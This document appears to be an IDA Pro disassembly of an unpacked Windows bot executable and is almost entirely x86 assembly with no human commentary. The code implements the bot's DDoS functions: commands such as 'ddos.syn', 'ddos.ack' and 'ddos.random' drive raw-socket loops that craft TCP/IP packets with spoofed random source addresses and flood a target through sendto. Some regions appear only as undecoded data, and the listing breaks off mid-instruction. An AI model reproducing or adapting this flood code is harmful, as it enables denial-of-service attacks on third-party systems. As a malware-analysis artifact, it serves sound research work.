; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7EEC99913DA502F0C48B35F9C7EE7BEF ; File Name : u:\work\7eec99913da502f0c48b35f9c7ee7bef_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: seg000:00410717o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_42104C ; GetTickCount push eax call sub_41551F lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_494] push offset unk_423050 push eax call sub_4154CD xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_412D32 add esp, 14h loc_401090: ; CODE XREF: start+6Ej lea eax, [ebp+var_494] push eax call sub_40B151 push [ebp+var_290] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h mov word ptr [edi+5Eh], ds start endp ; sp-analysis failed loc_4010B2: ; CODE XREF: sub_4013E9+40p push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_43A2F0 ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: seg000:004010E9j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_43A41C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-20h], eax jz loc_4013DD push esi lea ecx, [ebp-40h] push 4 push ecx push 2 push ebx push eax mov [ebp-40h], edi call ds:dword_43A358 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D3 push dword ptr [ebp+14h] mov word ptr [ebp-58h], 2 call ds:dword_43A378 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-56h], ax mov [ebp-54h], esi mov byte ptr [ebp-34h], 45h call ds:dword_43A378 ; ntohs push dword ptr [ebp+14h] mov [ebp-32h], ax mov [ebp-30h], di mov [ebp-2Eh], bx mov byte ptr [ebp-2Ch], 80h mov byte ptr [ebp-2Bh], 6 mov [ebp-2Ah], bx mov [ebp-24h], esi call ds:dword_43A378 ; ntohs mov [ebp-12h], ax call sub_415529 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_43A378 ; ntohs push 12345678h mov [ebp-14h], ax call ds:dword_43A374 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp-10h], eax push dword ptr [ebp+10h] call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: seg000:004011B7j push offset aDdos_ack ; "ddos.ack" push dword ptr [ebp+10h] call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: seg000:004011D3j push offset aDdos_random ; "ddos.random" push dword ptr [ebp+10h] call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_415529 push 3 cdq pop ecx idiv ecx mov [ebp-0Ch], edx call sub_415529 ; CODE XREF: seg000:00401245j push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-7], dl loc_401216: ; CODE XREF: seg000:004011C0j ; seg000:004011DCj ... push 4000h mov byte ptr [ebp-8], 50h call ds:dword_43A378 ; ntohs mov [ebp-6], ax lea eax, [ebp-48h] push eax mov [ebp-2], bx mov [ebp+10h], ebx call near ptr 3D0000h mov ch, 8Dh inc ebp in al, 50h call near ptr 3D0000h sbb bh, bh jnz short near ptr loc_4011FF+4 mov eax, [ebp+18h] cdq push dword ptr [ebp-48h] push edx push eax call sub_415980 add eax, [ebp-1Ch] push 14h pop esi adc edx, [ebp-18h] mov [ebp-3Ch], eax mov [ebp-38h], edx loc_401264: ; CODE XREF: seg000:00401394j ; seg000:004013A2j mov [ebp-4], bx call sub_415529 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_43A378 ; ntohs mov [ebp-14h], ax call sub_415529 mov edi, eax shl edi, 10h call sub_415529 or edi, eax push edi call ds:dword_43A378 ; ntohs movzx eax, ax mov [ebp-10h], eax mov eax, [ebp+0Ch] inc dword ptr [ebp+0Ch] push eax call ds:dword_43A374 ; ntohl mov [ebp-28h], eax mov eax, [ebp-24h] push esi mov [ebp-74h], eax mov [ebp-70h], bl mov byte ptr [ebp-6Fh], 6 call ds:dword_43A378 ; ntohs mov [ebp-6Eh], ax mov eax, [ebp-28h] mov [ebp-78h], eax lea eax, [ebp-78h] push 20h push eax lea eax, [ebp-0B4h] push eax call sub_4155B0 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-94h] push eax call sub_4155B0 lea eax, [ebp-0B4h] push 34h push eax call sub_40A1AE mov [ebp-4], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_4155B0 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-0A0h] push eax call sub_4155B0 push 4 lea eax, [ebp-8Ch] push ebx push eax call sub_415550 add esp, 44h lea eax, [ebp-0B4h] push 28h push eax call sub_40A1AE mov [ebp-2Ah], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_4155B0 add esp, 14h lea eax, [ebp-58h] push 10h push eax push ebx lea eax, [ebp-0B4h] push 28h push eax push dword ptr [ebp-20h] call ds:dword_43A3DC ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+10h], eax lea eax, [ebp-1Ch] push eax call near ptr 3D0000h xchg eax, edx mov eax, [ebp-18h] cmp eax, [ebp-38h] jg short loc_4013D0 jl loc_401264 mov eax, [ebp-1Ch] cmp eax, [ebp-3Ch] jnb short loc_4013D0 jmp loc_401264 ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: seg000:0040137Dj call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-0F4h] push offset unk_42308C push eax call sub_4154CD lea eax, [ebp-0F4h] push eax call sub_40B151 add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- loc_4013D0: ; CODE XREF: seg000:00401392j ; seg000:004013A0j mov ebx, [ebp+10h] loc_4013D3: ; CODE XREF: seg000:0040112Aj ; seg000:004013CEj push dword ptr [ebp-20h] call ds:dword_43A410 ; closesocket pop esi loc_4013DD: ; CODE XREF: seg000:0040110Dj call ds:dword_43A2D8 ; WSACleanup mov eax, ebx loc_4013E5: ; CODE XREF: seg000:004010EDj pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: start+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A03F push [esp+10h+arg_4] mov esi, eax call sub_415A3F push [esp+14h+arg_C] mov ebx, eax call sub_415A3F mov edi, eax call sub_415529 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call loc_4010B2 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; --------------------------------------------------------------------------- loc_401447: ; DATA XREF: seg000:004108FFo push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+8] push edi push 68h mov esi, eax pop ecx lea edi, [ebp-1BCh] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call ds:dword_43A3F8 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short near ptr loc_4014E1+1 call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-3BCh] push offset unk_42322C loc_401495: ; DATA XREF: seg002:off_424D5Co ; seg002:off_425D04o push eax call sub_4154CD xor edi, edi add esp, 0Ch cmp [ebp-24h], edi jnz short loc_4014C5 push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_412D32 add esp, 14h loc_4014C5: ; CODE XREF: seg000:004014A3j lea eax, [ebp-3BCh] push eax call sub_40B151 push dword ptr [ebp-38h] call sub_415295 pop ecx pop ecx push edi call near ptr 3D0000h loc_4014E1: ; CODE XREF: seg000:00401481j dec byte ptr [ebp+46AF44Dh] loc_4014E7: ; CODE XREF: seg000:00401558j push ecx xor edi, edi push 2 push edi push eax mov [ebp-0Ch], ebx call ds:dword_43A358 ; setsockopt cmp eax, 0FFFFFFFFh jnz short near ptr loc_401558+1 call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-3BCh] push offset unk_4231E0 push eax call sub_4154CD add esp, 0Ch cmp [ebp-24h], edi jnz short loc_40153C push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_412D32 add esp, 14h loc_40153C: ; CODE XREF: seg000:0040151Aj lea eax, [ebp-3BCh] push eax call sub_40B151 push dword ptr [ebp-38h] call sub_415295 pop ecx pop ecx push edi call near ptr 3D0000h loc_401558: ; CODE XREF: seg000:004014FAj jo short loc_4014E7 test [eax-2], ecx ; --------------------------------------------------------------------------- db 2 dup(0FFh), 50h dd 0A3B815FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 31AC68FFh dd 0E8500042h, 13F51h, 59DC7D39h, 57207559h, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 11792h, 8D14C483h, 0FFFC4485h, 0A2E850FFh, 0FF00009Bh dd 0DEE8C875h, 5900013Ch, 41E85759h, 0EBFFFCEAh, 458D106Ah dd 0E85057E4h, 13F84h, 660CC483h, 2E445C7h, 15FF5700h dd 43A378h, 0E6458966h, 0FE48858Dh, 0FF50FFFFh, 43A3B815h dd 4C358B00h, 89004210h, 7D89E845h, 89D6FF08h, 0D6FFF845h dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 0FD0453Bh, 19487h dd 41C6800h, 5C60000h, 438B78h, 7815FF45h, 390043A3h, 0A366D47Dh dd 438B7Ah, 7C1D8966h, 6600438Bh, 8B7E3D89h, 5C60043h dd 438B80h, 811D8880h, 6600438Bh, 8B823D89h, 30740043h dd 13ED0E8h, 0C1D88B00h, 0C6E808E3h, 300013Eh, 8E3C1D8h dd 13EBCE8h, 0C1D80300h, 0B2E808E3h, 300013Eh, 89016AD8h dd 438B841Dh, 18EB5B00h, 0FE44B5FFh, 0C6E8FFFFh, 5900008Ah dd 0B815FF50h, 0A30043A3h, 438B84h, 0A3E8458Bh, 438B88h dd 13E80E8h, 0B99900h, 0F7000001h, 8C1588F9h, 0E800438Bh dd 13E6Dh, 100B999h, 0F9F70000h, 8B8D1588h, 5AE80043h dd 9900013Eh, 0F0B9h, 4006800h, 0F9F70000h, 8E3D8966h dd 6600438Bh, 8B921D89h, 66420043h, 8B901589h, 32E80043h dd 9900013Eh, 0FFB9h, 52F9F700h, 438B9468h, 3E46E800h dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 8B786800h dd 75FF0043h, 0DC15FFFCh, 830043A3h, 874FFF8h, 0E90845FFh dd 0FFFFFECAh, 0FFFC75FFh, 43A41015h, 0C15FF00h, 500043A3h dd 0FE48858Dh, 75FFFFFFh, 48685008h, 8D004231h, 0FFFC4485h dd 20068FFh, 0E8500000h, 142E6h, 3918C483h, 2075DC7Dh dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh dd 0FFFFFE44h, 115A9E8h, 14C48300h, 0FC44858Dh, 0E850FFFFh dd 99B9h, 0E8C875FFh, 13AF5h, 0E8575959h, 0FFFCE858h, 0FC75FF82h dd 0A41015FFh, 458B0043h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh, 0C8858D50h dd 50FFFFFEh, 0FC44858Dh, 0E468FFFFh, 50004230h, 13CE4E8h dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 1524E8FFh, 0C4830001h dd 44858D14h, 50FFFFFCh, 9934E8h, 0C875FF00h, 13A70E8h dd 57595900h, 0FCE7D3E8h db 0FFh, 0B8h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: seg000:00410608o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_423274 push eax call sub_4154CD xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_412D32 add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+var_414] push eax call sub_40B151 push [ebp+var_10] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h insd pop edi pop esi sub_40182E endp ; sp-analysis failed loc_4018CA: ; CODE XREF: sub_401B7C+3Cp push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_43A2F0 ; WSAStartup test eax, eax jz short loc_40190A xor eax, eax jmp loc_401B78 ; --------------------------------------------------------------------------- loc_40190A: ; CODE XREF: seg000:00401901j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_43A41C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-0Ch], eax jz loc_401B70 push esi lea ecx, [ebp-38h] push 4 push ecx push 2 push ebx push eax mov [ebp-38h], edi call ds:dword_43A358 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401B66 push 10h lea eax, [ebp-50h] push ebx push eax call sub_415550 add esp, 0Ch mov word ptr [ebp-50h], 2 push dword ptr [ebp+10h] call ds:dword_43A378 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-4Eh], ax mov [ebp-4Ch], esi mov byte ptr [ebp-20h], 45h call ds:dword_43A378 ; ntohs push dword ptr [ebp+10h] mov [ebp-1Eh], ax mov [ebp-1Ch], di mov [ebp-1Ah], bx mov byte ptr [ebp-18h], 80h mov byte ptr [ebp-17h], 6 mov [ebp-16h], bx mov [ebp-10h], esi call ds:dword_43A378 ; ntohs push 4000h mov [ebp-32h], ax mov [ebp-2Ch], ebx mov byte ptr [ebp-28h], 50h mov byte ptr [ebp-27h], 2 call ds:dword_43A378 ; ntohs mov [ebp-26h], ax lea eax, [ebp-40h] push eax mov [ebp-22h], bx mov [ebp+10h], ebx call near ptr 3D0000h in eax, 8Dh inc ebp clc push eax call near ptr 3D0000h ; --------------------------------------------------------------------------- dd 0C475FFFEh, 9914458Bh, 52C075FFh, 3F96E850h, 45030001h dd 13F28BF8h, 4589FC75h, 5D8966A8h, 3B2BE8DCh, 0B9990001h dd 3E9h, 0C281F9F7h, 3E8h, 7815FF52h, 660043A3h, 0E8CC4589h dd 13B0Dh, 0E7C1F88Bh, 3B03E810h, 0F80B0001h, 7815FF57h dd 0F0043A3h, 4589C0B7h, 0C458BD0h, 500C45FFh, 0A37415FFh dd 146A0043h, 8BEC4589h, 575FF045h, 888C4589h, 45C6905Dh dd 15FF0691h, 43A378h, 92458966h, 89EC458Bh, 458D8845h dd 50206A88h, 0FF4C858Dh, 0E850FFFFh, 13B38h, 57CC458Dh dd 6C858D50h, 50FFFFFFh, 13B27E8h, 4C858D00h, 6AFFFFFFh dd 17E85034h, 66000087h, 8DDC4589h, 5057E045h, 0FF4C858Dh dd 0E850FFFFh, 13B04h, 57CC458Dh, 60858D50h, 50FFFFFFh dd 13AF3E8h, 8D046A00h, 0FFFF7485h, 0E85053FFh, 13A84h dd 8D44C483h, 0FFFF4C85h, 50286AFFh, 86D1E8h, 45896600h dd 0E0458DEAh, 858D5057h, 0FFFFFF4Ch, 3ABEE850h, 0C4830001h dd 0B0458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh, 0F475FF50h dd 0A3DC15FFh, 0F8830043h, 12774FFh, 458D1045h, 0E1E850F8h dd 9EFFFCE4h, 3BFC458Bh, 0F3C7FC6h, 0FFFEC88Ch, 0F8458BFFh dd 73A8453Bh, 0FEBBE92Eh, 15FFFFFFh, 43A30Ch, 0C858D50h dd 68FFFFFFh, 4232B0h, 397BE850h, 858D0001h, 0FFFFFF0Ch dd 95F3E850h, 0C4830000h, 8B03EB10h db 5Dh, 10h ; --------------------------------------------------------------------------- loc_401B66: ; CODE XREF: seg000:00401942j push dword ptr [ebp-0Ch] call ds:dword_43A410 ; closesocket pop esi loc_401B70: ; CODE XREF: seg000:00401925j call ds:dword_43A2D8 ; WSACleanup mov eax, ebx loc_401B78: ; CODE XREF: seg000:00401905j pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A03F push [esp+10h+arg_4] mov esi, eax call sub_415A3F push [esp+14h+arg_8] mov ebx, eax call sub_415A3F mov edi, eax call sub_415529 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call loc_4018CA add esp, 1Ch test eax, eax jnz short loc_401BC7 push 1 pop eax loc_401BC7: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BD6 proc near ; DATA XREF: seg000:0040FA57o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_75 = dword ptr -75h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_42104C call edi ; GetTickCount push eax call sub_41551F pop ecx push 0FFh push 3 push 2 call ds:dword_43A3F8 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401C9F call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_423438 push eax call sub_4154CD add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401C7F push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D32 add esp, 14h loc_401C7F: ; CODE XREF: sub_401BD6+84j lea eax, [ebp+var_440] push eax call sub_40B151 push [ebp+var_BC] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h stc loc_401C9F: ; CODE XREF: sub_401BD6+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call ds:dword_43A358 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401D1D call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_4233EC push eax call sub_4154CD add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401CFD push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D32 add esp, 14h loc_401CFD: ; CODE XREF: sub_401BD6+102j lea eax, [ebp+var_440] push eax call sub_40B151 push [ebp+var_BC] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h aas loc_401D1D: ; CODE XREF: sub_401BD6+DFj lea eax, [ebp+var_23C] push eax call ds:dword_43A3B8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401D8D lea eax, [ebp+var_440] push offset dword_4233B8 push eax call sub_4154CD cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401D6D push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D32 add esp, 14h loc_401D6D: ; CODE XREF: sub_401BD6+172j lea eax, [ebp+var_440] push eax call sub_40B151 push [ebp+var_BC] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h scasb loc_401D8D: ; CODE XREF: sub_401BD6+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_415550 add esp, 0Ch mov [ebp+var_44], 2 push ebx call ds:dword_43A378 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call ds:dword_43A3B8 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_401DC5: ; CODE XREF: sub_401BD6+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja near ptr loc_402088+1 push 28h mov [ebp+var_2C], 45h call ds:dword_43A378 ; ntohs cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401E38 call sub_415529 mov esi, eax shl esi, 8 call sub_415529 add esi, eax shl esi, 8 call sub_415529 add esi, eax shl esi, 8 call sub_415529 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401E4E ; --------------------------------------------------------------------------- loc_401E38: ; CODE XREF: sub_401BD6+233j push [ebp+var_240] call sub_40A155 pop ecx push eax call ds:dword_43A3B8 ; inet_addr mov [ebp+var_20], eax loc_401E4E: ; CODE XREF: sub_401BD6+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_401E6C call sub_415529 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E6C: ; CODE XREF: sub_401BD6+284j push [ebp+var_B8] loc_401E72: ; CODE XREF: sub_401BD6+294j call ds:dword_43A378 ; ntohs mov [ebp+var_16], ax call sub_415529 cdq mov ecx, 401h idiv ecx push edx call ds:dword_43A378 ; ntohs push 12345678h mov [ebp+var_18], ax call ds:dword_43A374 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_415AA0 pop ecx test eax, eax pop ecx jz short loc_401EC2 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EC2: ; CODE XREF: sub_401BD6+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_415AA0 pop ecx test eax, eax pop ecx jz short loc_401EE2 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EE2: ; CODE XREF: sub_401BD6+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_415AA0 pop ecx test eax, eax pop ecx jz short loc_401F1E call sub_415529 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_415529 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_401F1E: ; CODE XREF: sub_401BD6+2EAj ; sub_401BD6+30Aj ... push 200h mov [ebp+var_C], 50h call ds:dword_43A378 ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call ds:dword_43A378 ; ntohs mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_4155B0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_4155B0 lea eax, [ebp+var_A0] push 34h push eax call sub_40A1AE mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4155B0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_4155B0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_415550 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40A1AE mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4155B0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call ds:dword_43A3DC ; sendto cmp eax, 0FFFFFFFFh jz short loc_40200B inc [ebp+arg_0] jmp loc_401DC5 ; --------------------------------------------------------------------------- loc_40200B: ; CODE XREF: sub_401BD6+42Bj push [ebp+var_4] call ds:dword_43A410 ; closesocket call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_423344 lea eax, [ebp+var_440] push 200h push eax call sub_415A4A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402069 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D32 add esp, 14h loc_402069: ; CODE XREF: sub_401BD6+46Ej lea eax, [ebp+var_440] push eax call sub_40B151 push [ebp+var_BC] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h loc_402088: ; CODE XREF: sub_401BD6+203j sar edi, 75h cld call ds:dword_43A410 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4232E0 push eax call sub_4154CD add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4020FA push 